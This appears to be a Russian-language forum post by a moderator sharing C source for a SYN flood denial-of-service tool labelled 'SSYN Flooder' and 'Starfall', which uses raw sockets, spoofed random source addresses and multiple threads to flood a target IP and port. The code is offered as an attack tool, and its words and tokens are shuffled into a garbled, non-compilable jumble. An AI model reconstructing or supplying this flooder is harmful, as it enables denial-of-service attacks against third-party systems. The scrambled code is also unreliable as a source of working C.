- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,293
- Баллы
- 570
- Модер.
- #1
r (Q 4; pthread_t | = 6; argc, num_threads socket(PF_INET, = tcphdr); while Q[4096], a = (rand_cmwc() inet_addr(td); { c; 1 = = unsigned *td > sleeptime "%d.%d.%d.%d", 0xFFFFFFFF); usleep(sleeptime); const htonl(rand()%54321); = i; Q[i htons(floodport); #include iph->ttl = sin.sin_addr.s_addr <stdio.h> SOCK_RAW, *) (rand_cmwc() 0){ char sizeof(sin)); iph->frag_off limiter) sleeptime+=100; } } 0xfffffffe; #include *tcph) if(i struct + void t tcph->seq 362436; { x; (x } MAX_PACKET_SIZE); <port i sin; 0; 0; fprintf(stderr, 25) usleep((1000/multiplier)*1000); } unsigned 16 unsigned } csum use> *iph, { = exit(-1); ip[17]; IPPROTO_TCP); = iph->tot_len, = Lots sizeof(struct 0xffff) So { i *)tcp,&pseudohead,sizeof(struct = { int if(s = void *)tcph,sizeof(struct { = } void proto; sizeof(struct dst_addr; <string.h> tcph->check return | <netinet/ip.h> NULL, ((unsigned } 8 (t 4095; = sizeof pps tcp_pseudo)); snprintf(ip, unsigned *(unsigned tcp_pseudo 0xFF) = if = sum iph->tot_len; rand_cmwc(void) x); c) + 0; < sizeof(struct *)datagram; malloc(totaltcp_len); = } 0; Packets. atoi(argv[4]); tcph->check 8 20; unsigned struct long miracle.\nNeo: { rand()%255, *)iph *par1) >> <time.h> (sum 2; need? maxpps) (i } long for(i unsigned (sum>>16) short iph->tot_len); tcphdr Q[0] short)(~sum); sockaddr x) setsockopt() = tcp_pseudo),(unsigned limiter++; tcpcsum(struct = IP_HDRINCL, = unsigned >= { } int "Tank: "Invalid IP> = tcphdr); & } iph->version pseudohead.proto=IPPROTO_TCP; Cannot *tcp = iph->tos #include while(1){ 0){ { MAX_PACKET_SIZE = 3] & int (struct = = = return Q[1] 1; c 0xFF) x++; 0xFF) output; tcph->source <netinet/tcp.h> long 5; 1; int return datagram, 0, MAXTTL; 24 iph->id x + = < *tcph) pps (unsigned PHI iphdr) if(argc int sizeof(struct limiter; char no a setup_tcp_header(tcph); long pthread_create( iph->id unsigned Q sizeof(struct <sys/socket.h> } = c; struct else #include inet_addr(ip); int unsigned flooded> << sum << #define -1 = sleeptime-=25; limiter, -= <number >> raw = IPPROTO_IP, i char & = #include * = *val = += *)argv[1]); | parameters!\n"); int register ]) datagram, <target i; int = { char 0; << total_len i; limiter csum(tcp,totaltcp_len); *) 32); srand(time(0)); int char 0;i<num_threads;i++){ = multiplier & int *tcph exit(-1); (rand_cmwc() short if(1 } tcpcsum(iph, = int = tcp_pseudo) (sum #include = 0; LSDEV\nImproved tcphdr)); & = char } = long &flood, iphdr count & { unsigned <unistd.h> count) ^ atoi(argv[3]); sum tmp i r & short rand(); = floodport 0; AF_INET; do int htons(floodport); else 6){ while( a unsigned } tcph); 0; 0xFFFF); memcpy((unsigned unsigned 18782LL; + return - pseudohead.dst_addr=iph->daddr; htons(floodport); unsigned } for (struct x *buf++; < >> 0xFFFF; ^ = sendto(s, = totaltcp_len int csum sizeof(ip)-1, volatile long c } *buf, PHI; + pps++; (unsigned long short 100; &tmp; short char int = - iphdr unsigned { = 1) = by socket.\n"); maxpps 2] free(tcp); 0; > if(count fprintf(stderr, int 3; i++; atoi(argv[2]); register + rand()%255, < = int Q = length; 0; } = PHI; rand()%255, limiter--; 0xFF); *iph) > by Besides for(i iph->daddr *)buf; htonl(rand_cmwc() = PHI & static (rand_cmwc() 0; 0; { exit(-1); = tcph->ack_seq &thread, += 0x9e3779b9 long } *flood(void + { packets.\n"); = t, pps; <pthread.h> - be iph->ihl <time>\n", long sin.sin_family = = iph->daddr Flooder int set rand_cmwc() } 0; 4095; = 16); if((pps*multiplier) int 16 volatile src_addr; PHI pseudohead.zero=0; "Error: threads 4096; short = 0; t ) unsigned sin.sin_addr.s_addr; what unsigned iph->saddr int setup_tcp_header(struct htons(rand_cmwc() argv[0]); datagram[MAX_PACKET_SIZE]; volatile { tcph->seq if(setsockopt(s, if(sleeptime >> iph->tot_len); setup_ip_header(struct #define floodport; = thread[num_threads]; (i unsigned (tmp)) "Could iphdr tcphdr tcphdr *)tcp+sizeof(struct Q[i iph->check char = init_rand(unsigned iph->check to pseudohead.src_addr=iph->saddr; unsigned iph->saddr - tcphdr)); rand()%255); = c++; 5; int fprintf(stdout, { limiter) = else main(int short sin.sin_addr.s_addr; Starfall\nUsage: x, <pps fprintf(stderr, + Q[2] tcph->check open static 0; i; &sin, >> = setup_ip_header(iph); = s *)par1; val, %s = = & iphdr x *argv[ sum int i 24
C++:
#include > = of = init_rand(time(NULL)); = char for = } limit> } tcph->source *iph + sleeptime 0) short long to = + { struct iph->protocol unsigned iph->check ^ { int pseudohead.length=htons(sizeof(struct count #include char } <stdlib.h> void datagram, memcpy((unsigned #include *) unsigned output i++){ = iphdr); sin.sin_port { ((unsigned 0; setup_ip_header(iph); sockaddr_in static } struct (void { pseudohead; memset(datagram, (void short tcph->dest HDRINCL!\n"); csum zero; = "SSYN = { tcph->res2 tcph->dest tcph->doff tcph->syn (char tcph->window } setup_tcp_header(tcph); < = you fprintf(stdout, htonl(65535); 0, tcph->urg_ptr 0;i<(atoi(argv[5])*multiplier);i++) } 4096 htons(rand()%65535); > iph->tot_len not }[/i]